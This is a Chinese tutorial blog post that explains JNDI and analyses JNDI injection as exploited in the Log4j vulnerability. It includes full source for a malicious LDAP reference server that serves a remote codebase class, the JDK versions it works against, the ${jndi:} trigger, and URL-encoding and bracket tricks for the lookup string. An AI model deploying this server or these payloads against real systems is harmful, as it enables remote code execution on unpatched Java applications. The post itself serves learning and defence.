从0开始的JNDI学习

21年12月初,Log4jJNDI注入一石激起千层浪,由于其使用广泛、漏洞利用简单,很快便“风靡全球”,攻击者们在各种地方尝试着jndi。直到12月的最后一周也在Log4j配置文件RCE的喧嚣中过去,这起事件也算是告一段落了。不难看出,JNDI便是此次事件的“罪魁祸首”,恰逢新年伊始,今日便让我们从0开始了解下何为JNDI以及其攻击原理。

JNDI:起源

JNDI全称是Java Naming and Directory Interface ,单从名称来看,其由NamingDirectory所构成:

命名服务: 名称与实体对象绑定,并可以通过名称查找到对象。例如DNS( Internet Domain Name System ),可以从域名查找到对应的IP。

A name is used to reference an object.
目录服务:是一种特殊的命名服务,它可以对对象的属性进行操作

Diagram showing a directory system: a name references a directory object which contains attributes.

所以JNDI就是为应用程序提供命名和目录服务的接口,这里举个例子来实际感受下其作用:

在操作数据库的时候往往需要如下几步:

  1. 加载数据库驱动程序(Class.forName("数据库驱动类");)
  2. 连接数据库(Connection con = DriverManager.getConnection();)
  3. 操作数据库(PreparedStatement stat = con.prepareStatement(sql);stat.executeQuery();)
  4. 关闭数据库,释放连接(con.close();)

当需要操作多个数据库时就会显得繁琐,这时就可以配置多个是数据源,其实就是把数据库信息绑定到命名空间中

img

为每一个数据源命名后就可以通过这个名称来查找数据源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//1、初始化名称查找上下文
Context ctx = new InitialContext();
//InitialContext ctx = new InitialContext();亦可
//2、通过JNDI名称找到DataSource,对名称进行定位java:comp/env是必须加的,后面跟的是DataSource名
/*
DataSource名在web.xml文件中的<res-ref-name>oracleDataSource</res-ref-name>进行了配置
<!--Oracle数据库JNDI数据源引用 -->
<resource-ref>
<description>Oracle DB Connection</description>
<res-ref-name>oracleDataSource</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
*/
DataSource ds = (DataSource)ctx.lookup("java:comp/env/oracleDataSource");
//3、通过DataSource取得一个连接
connOracle = ds.getConnection();

上例的java:comp/env/JNDI的节点,可以在其中找到JavaEE的属性,所以只能在Web环境中使用。为了方便调试,这里给出一段更简易的代码

1
2
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/");

这里是发起ldap请求,也可以使用rmiJNDI默认支持的协议有

JNDI Architecture

它会根据schema来识别是什么协议,并实例化对应的类

image-20220104185651143

LDAP

上文中也有提及,JNDI支持LDAP协议,在结构上二者也很相似,而且由于攻击时利用的一些限制,本文主要从LDAP的角度来进行分析。

A representation of LDAP and JNDI

我们可以使用lookup查找一个在LDAP服务中的对象,此外doLookup也可以达成相似的效果:

1
ctx.lookup("cn=Rosanna Lee,ou=People");

Diagram of Lookup example

LDAP中存储的对象建议为如下四种类型:

此外还可以是java.rmi.RemoteCORBA objects,它们都以javaObject的子类形式存储在LDAP中,且一般需要有这些属性

LDAP Attribute Name Content
javaClassName 类名
javaCodebase 类的class文件所在的位置

对于不同的类型也有不同的属性和返回值,例如:

Reference Object

LDAP Attribute Name Content
javaFactory 要查找的类的名称

LDAP读到该类型时将返回一个JavaCodebase指定地址的,以javaFactory为名的Class文件所实例化的对象。

Serializable Object

LDAP Attribute Name Content
javaSerializedData 序列化后的对象

它将返回一个javaSerializedData反序列化后的对象

到这里其实问题已经很明确了,一方面我们可以通过CodeBase指定恶意地址从而加载恶意类,另一方面可以传入恶意序列化数据,从而任意代码执行。

CodeBase

使用如下代码当成服务端并启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.longofo;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main(String[] args) throws IOException {
int port = 1388;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "uid=admin,dc=example,dc=com","javaCodeBase: http://127.0.0.1:8099/","objectClass: javaNamingReference","javaClassName: test","javaFactory: calc");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}
}

本地开启一个Web服务,把弹出计算器的类calc编译后的class文件放置Web目录下后

1
2
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1388/uid=admin,dc=example,dc=com");

11.0.18u1917u2016u211 之前版本可以直接弹出计算器,跟进代码到com.sun.jndi.ldap.LdapCtx#doSearch,这里像ldap服务器发送了查询请求,并获取到了查询结果:

image-20220106122914399

在服务端设置的javaCodeBasejavaFactory已经出现了,继续往下跟进至com.sun.jndi.ldap.Obj#decodeObject

image-20220106123548800

这里只有objectClassjavaNamingReference时能进入下一步,这也是服务端如此设置的原因。最后进入到javax.naming.spi.NamingManager#getObjectFactoryFromReference通过CodeBasefactoryName加载恶意类,完成整个利用流程。高版本则是在最后loadClass的时候检测了trustURLCodebase是否为true,其默认为false

image-20220106124644882

DeSerialized

上文中就提到了LDAP的返回对象中有serialized object,所以存在反序列化其实是理所当然的。同样是先来看看查找后的结果

image-20220106135837317

这次只有一个javaClassName以及javaserializeddata很明显的可以看到序列化的数据,下一步便是反序列化执行命令了,关于反序列化暂且填个坑,留待以后补充。

Log4j

回到一开始的Log4j,关于漏洞原理这里不再赘述,直接来到漏洞触发点org.apache.logging.log4j.core.lookup.JndiLookup#lookup

image-20220106163419329

此处的key就是${jndi:xxx}中的xxx的值,直接搭建恶意ldap服务器返回序列化数据即可达成命令执行。

两个没什么用的tips:

1
2
ldap://ip:port/urldecode 查询的DN可以使用URL编码,ldap查询前会自动解码
ldap://[ip]:port/123 目标可加上中括号,解析时会进行处理

参考文献